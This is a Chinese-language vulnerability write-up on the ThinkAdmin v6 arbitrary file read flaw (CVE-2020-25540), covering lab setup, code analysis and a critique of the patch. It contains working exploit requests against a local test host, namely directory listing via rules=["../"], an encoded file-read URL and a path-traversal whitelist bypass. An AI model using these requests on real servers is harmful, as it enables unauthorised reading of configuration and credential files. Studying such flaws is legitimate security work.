Thinkadmin v6任意文件读取漏洞(CVE-2020-25540)
环境搭建
下载 ThinkAdmin 的过去版本
通过 Commit 找到修复的位置,下载修复版本的前一个版本
可以通过对比,重点关注修复的相关信息。
可以注意到对于任意文件读取的防护仅仅是加了 禁止目录级别上跳
下载老版本的方法为,找到修改前的 Commit 点击 Browse files 就可以下载过去的版本了。
按照配置创建和导入数据库,就安装成功了。
漏洞利用
获取版本信息
http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/version
读取网站目录
http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/node
POST rules=["/"]
POST rules=["../"]
任意文件读取
1 |
|
http://thinkadmin.test/index.php/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b34332r1a342w34
漏洞分析
我下载的版本为漏洞修复前的版本,可能与网上的文章有些不同,不过大体上是相同的。
app/admin/controller/api/Update.php
中引用了两个 function 可不通过登录认证就可使用。
\app\admin\controller\api\Update::version
可以获取到当前版本
目录穿越
\app\admin\controller\api\Update::node
将 POST 传入的参数 rules & ignore 传递给 ModuleService::instance()->getChanges()
跟进函数 \think\admin\service\ModuleService::getChanges
在 getChanges() 函数内,遍历传进的 $rules
数组,将参数进行转换,并与网站根目录进行路径拼接,传递给 _scanLocalFileHashList
,返回文件名与哈希值。
\think\admin\service\ModuleService::_scanLocalFileHashList
在 _scanLocalFileHashList
中,通过 scanDirectory
遍历传过来目录下的文件
\think\admin\service\NodeService::scanDirectory
如此,攻击者就可以在未授权的情况下实现读取网站的文件列表。
目前采用的修复方法是,在读取完文件之后,对路径进行一个判断,看是否符合 checkAllowDownload
再返回数据。
任意文件读取
\app\admin\controller\api\Update::get
首先从 GET读取 encode
参数并使用 decode()
解码
\decode
对应的加密函数 encode()
\encode
跟进函数 checkAllowDownload
对传入的路径进行判断
\think\admin\service\ModuleService::checkAllowDownload
然后跟进白名单判断函数 _getAllowDownloadRule()
\think\admin\service\ModuleService::_getAllowDownloadRule
被允许的列表
1 | config |
也就是说 $name
的不能为 databases.php
并且必须要再允许列表内的。
可以通过 public/static/../../poc.php
来读取网站根目录下的 poc.php
针对 database.php
的限制,在 Windows 下可以通过 "
来进行绕过。
public/static/../../config/database"php
emmm,但是我是没有读取出来。
事实上,利用这种方法是可以读取文件的
目前采用的修复方法还是添加了
1 | // 禁止目录级别上跳 |
思考
我想这个修复方法还是存在问题的,首先是对这些文件权限配置的问题,根本没有修复对文件的访问权限,再未登录的情况下,仍然能实现对文件的访问。其实是修复过滤的问题,虽然采用了增加黑名单的模式,但是,还是能直接获取得到网站的文件列表。
修复后还是首先对传入的路径进行一个查询,得出所有的文件的路径,然后将获取得到文件的路径进行判断,并不是直接对传入的路径进行判断。可能比较拗口,但是这样说,大概就能清楚。我们首先传入 /
,然后会获取得到网站根目录下所有文件的路径名,like app/admin/controller/Auth.php
然后这些值就会进行
checkAllowDownload
的检验。 然后白名单为
所以还是可以列出根目录下的一些文件滴。
目前的过滤的 ..
暂时没有什么方法可以绕过。但是漏洞的位置还是存在,如果特殊情况可以绕过 ..
的话,还是可以实现任意文件读取。